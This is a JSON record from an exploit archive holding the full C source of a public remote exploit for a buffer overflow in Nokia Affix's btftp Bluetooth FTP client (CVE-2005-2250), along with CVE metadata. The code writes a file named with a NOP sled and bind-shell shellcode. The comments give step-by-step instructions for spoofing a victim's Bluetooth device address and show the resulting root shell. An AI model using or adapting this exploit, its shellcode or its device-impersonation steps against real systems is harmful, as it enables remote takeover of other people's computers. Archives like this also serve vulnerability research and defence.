{"exploit":{"id":"EDB-1081","name":"Nokia Affix < 3.2.0 - btftp Remote Client","description":"Nokia Affix < 3.2.0 - btftp Remote Client","cves":["CVE-2005-2250"],"author":"Kevin Finisterre","published":"2005-07-03","platform":"hardware","type":"remote","language":"C","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/1081","path":"exploits/hardware/remote/1081.c","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-1081.c","vulnerabilities":[{"id":"CVE-2005-2250","state":"PUBLISHED","title":null,"titleSource":null,"description":"Buffer overflow in Bluetooth FTP client (BTFTP) in Nokia Affix 2.1.2 and 3.2.0 allows remote attackers to execute arbitrary code via a long filename in an OBEX file share.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2005-2250","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2005-2250"},"updatedAt":"2024-08-07T22:22:48.851Z","retrievedAt":"2026-11-26T17:09:03.826Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-1081.png?v=2","url":"https://exploitbin.com/exploits/EDB-1081","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-1081/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-1081/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"/*\n\n- Tools you will probably need:\n- http://www.digitalmunition.com/setbd-affix.c\n- KF is one bad mofo /str0ke\n\nRemote Nokia Affix btftp client exploit\nby kf_lists[at]secnetops[dot]com\n\nthreat:~# btftp\nAffix version: Affix 2.1.1\nWellcome to OBEX ftp. Type ? for help.\nMode: Bluetooth\nSDP: yes\nftp>  open 00:04:3e:65:a1:c8\nConnected.\nftp> ls\nZ8Á¾ýÞ)á½Tnb    6               uûÿ¿uûÿ¿3ÉéëèÿÿÿÿÀ^vî0^îüâô¨5?Ê24ÿ¶©×?#°ÈÚ¼V6²V\n           Ï­¹¿)ýÞ\nýÞÑýÞÐÉî¼Xq¶X6¶Y0\n\n----------------------\n\nroot@frieza:/var/spool/affix/Inbox# telnet 192.168.1.207 4444\nTrying 192.168.1.207...\nConnected to 192.168.1.207.\nEscape character is '^]'.\nid;\nuid=0(root) gid=0(root) groups=0(root)\n: command not found\nhostname;\nthreat\n: command not found\n\n\n\n*/\n\n#include <stdio.h>\n#include <strings.h>\nmain()\n{\n       FILE *malfile;\n\n       /* linux_ia32_bind - LPORT=4444 Size=108 Encoder=Pex http://metasploit.com */\n       unsigned char scode[] =\n       \"\\x33\\xc9\\x83\\xe9\\xeb\\xe8\\xff\\xff\\xff\\xff\\xc0\\x5e\\x81\\x76\\x0e\\x99\"\n       \"\\xee\\x30\\x5e\\x83\\xee\\xfc\\xe2\\xf4\\xa8\\x35\\x63\\x1d\\xca\\x84\\x32\\x34\"\n       \"\\xff\\xb6\\xa9\\xd7\\x78\\x23\\xb0\\xc8\\xda\\xbc\\x56\\x36\\x88\\xb2\\x56\\x0d\"\n       \"\\x10\\x0f\\x5a\\x38\\xc1\\xbe\\x61\\x08\\x10\\x0f\\xfd\\xde\\x29\\x88\\xe1\\xbd\"\n       \"\\x54\\x6e\\x62\\x0c\\xcf\\xad\\xb9\\xbf\\x29\\x88\\xfd\\xde\\x0a\\x84\\x32\\x07\"\n       \"\\x29\\xd1\\xfd\\xde\\xd0\\x97\\xc9\\xee\\x92\\xbc\\x58\\x71\\xb6\\x9d\\x58\\x36\"\n       \"\\xb6\\x8c\\x59\\x30\\x10\\x0d\\x62\\x0d\\x10\\x0f\\xfd\\xde\";\n\n       char buf[1024];\n       memset(buf,'\\0',sizeof(buf));\n       memset(buf,'\\x90',94);\n       strcat(buf+94,\"\\x75\\xfb\\xff\\xbf\");\n       strcat(buf+98,\"\\x75\\xfb\\xff\\xbf\");\n       memset(buf+102,'\\x90',40);\n       strcat(buf+142,scode);\n\n       if(!(malfile = fopen(buf,\"w+\"))) {\n               printf(\"error opening file\\n\");\n               exit(1);\n       }\n\n       fprintf(malfile, \"pwned\\n\" );\n       fclose(malfile);\n\n}\n\n\n/*\nFirst lets find someone to impersonate.\n\nroot@frieza:~# btctl discovery\nSearching 8 sec ...\nSearching done. Resolving names ...\ndone.\n+1: Address: 00:0c:76:46:f0:21, Class: 0xB20104, Key: \"no\", Name: \"threat\"\n   Computer (Desktop) [Networking,Object Transfer,Audio,Information]\n+2: Address: 00:10:60:29:4f:f1, Class: 0x420210, Key: \"no\", Name: \"Bluetooth Modem\"\n   Phone (Wired Modem/VoiceGW) [Networking,Telephony]\n+3: Address: 00:04:3e:65:a1:c8, Class: 0x120110, Key: \"no\", Name: \"Pocket_PC\"\n   Computer (Handheld PC/PDA) [Networking,Object Transfer]\n\nLets pretend to be some poor chaps PDA.\n\nroot@frieza:~# ./setbd-affix 00:04:3e:65:a1:c8\nUsing BD_ADDR from command line\nSetting BDA to 00:04:3e:65:a1:c8\n\nroot@frieza:~# btctl\nbt0     01:02:03:04:05:06\n       Flags: UP DISC CONN\n       RX: acl:159 sco:0 event:97 bytes:4810 errors:0 dropped:0\n       TX: acl:168 sco:0 cmd:29 bytes:19267 errors:0 dropped:0\n       Security: service pair [-auth, -encrypt]\n       Packets: DM1 DH1 DM3 DH3 DM5 DH5 HV1 HV3\n       Role: deny switch, remain slave\n\nroot@frieza:~# btctl reset\nroot@frieza:~# btctl down\nroot@frieza:~# btctl up\nbtctl: cmd_initdev: Unable to start device (bt0)\nroot@frieza:~# btctl up\nroot@frieza:~# btctl\nbt0     00:04:3e:65:a1:c8\n       Flags: UP DISC CONN\n       RX: acl:159 sco:0 event:126 bytes:5796 errors:0 dropped:0\n       TX: acl:168 sco:0 cmd:52 bytes:19885 errors:0 dropped:0\n       Security: service pair [-auth, -encrypt]\n       Packets: DM1 DH1 DM3 DH3 DM5 DH5 HV1 HV3\n       Role: deny switch, remain slave\n\nroot@frieza:~# btctl name \"Pocket_PC\"\n\nGod I love my ROK chip!\n\nWait for the poor chap to use his affix btftp to connect to his Pocket_PC.\nHopefully his bluetooth stack confuses us for his PDA.\n\nObviously you need to find out the general area of your shellcode and fix the exploit accordingly.\n\n0xbffffb70:      '\\220' <repeats 40 times>,\n\"3É\\203éëèÿÿÿÿÀ^\\201v\\016\\231î0^\\203îüâô¨5c\\035Ê\\20424ÿ¶©×x#°ÈÚ¼V6\\210²V\\r\\020\\017Z8Á¾a\\b\\020\\017ýÞ)\\210á½Tnb\\fÏ­¹¿)\\210ýÞ\\n\\2042\\a)ÑýÞÐ\\227Éî\\222¼Xq¶\\235X6¶\\214Y0\\020\\rb\\r\\020\\017ýÞ\"\n\nroot@frieza:/var/spool/affix/Inbox# pico ../btftp-ex.c\nroot@frieza:/var/spool/affix/Inbox# cc -o ../btftp-ex ../btftp-ex.c\nroot@frieza:/var/spool/affix/Inbox# ../btftp-ex\n\nVerify that a nice long file name is left behind.\nroot@frieza:/var/spool/affix/Inbox# ls\n??????????????????????????????????????????????????????????????????????????????????????????????u???u???????????????????????????????????????????3??????????^?v???0^??????5c???24????x#????V6??V???Z8??a?????)???Tnb?????)?????2?)?????????Xq??X6??Y0??b?????\n\nStart up the bluetooth services.\nroot@frieza:/etc/affix# btsrv -C ./btsrv.conf\nbtsrv: main: btsrv started [Affix 2.1.2].\nbtsrv: start_service: Bound service Serial Port to port 1\nbtsrv: start_service: Bound service Dialup Networking to port 2\nbtsrv: start_service: Bound service Dialup Networking Emulation to port 3\nbtsrv: start_service: Bound service Fax Service to port 4\nbtsrv: start_service: Bound service LAN Access to port 5\nbtsrv: start_service: Bound service OBEX File Transfer to port 6\nbtsrv: start_service: Bound service OBEX Object Push to port 7\nbtsrv: start_service: Bound service Headset to port 8\nbtsrv: start_service: Bound service HeadsetAG to port 9\nbtsrv: start_service: Bound service HandsFree to port 10\nbtsrv: start_service: Bound service HandsFreeAG to port 11\n\nWait for the person to connect to your device and attempt to perform a file listing.\nThis of course will trigger the overflow and execute your shellcode\nthreat:~# btftp\nAffix version: Affix 2.1.1\nWellcome to OBEX ftp. Type ? for help.\nMode: Bluetooth\nSDP: yes\nftp>  open 00:04:3e:65:a1:c8\nConnected.\nftp> ls\nZ8Á¾ýÞ)á½Tnb    6               uûÿ¿uûÿ¿3ÉéëèÿÿÿÿÀ^vî0^îüâô¨5?Ê24ÿ¶©×?#°ÈÚ¼V6²V\n           Ï­¹¿)ýÞ\nýÞÑýÞÐÉî¼Xq¶X6¶Y0\n\nYou can tell when they have connected via the following log file entries.\n\nbtsrv: handle_input: Connection from 00:02:01:44:ad:99\nchannel 6 (OBEX File Transfer Profile)\nbtsrv: execute_cmd: Socket multiplexed to stdin/stdout\nbtsrv: signal_handler: Sig handler : 2\n\nAfter they have done so you will use the PAND connection you already hacked to obtain your shell. =]\nOr perhaps write some bluetooth aware shellcode.\n\nroot@frieza:/var/spool/affix/Inbox# telnet 192.168.1.207 4444\nTrying 192.168.1.207...\nConnected to 192.168.1.207.\nEscape character is '^]'.\nid;\nuid=0(root) gid=0(root) groups=0(root)\n: command not found\nhostname;\nthreat\n: command not found\n*/\n\n// milw0rm.com [2005-07-03]","sha256":"5bc4ecc277f537f8f6635a68949f4c7432fee379b7c52f914073ec07ce3a0192","bytes":6479,"fetchedAt":"2026-11-26T17:09:01.136Z","encoding":"utf-8 (display only; download retains original bytes)"}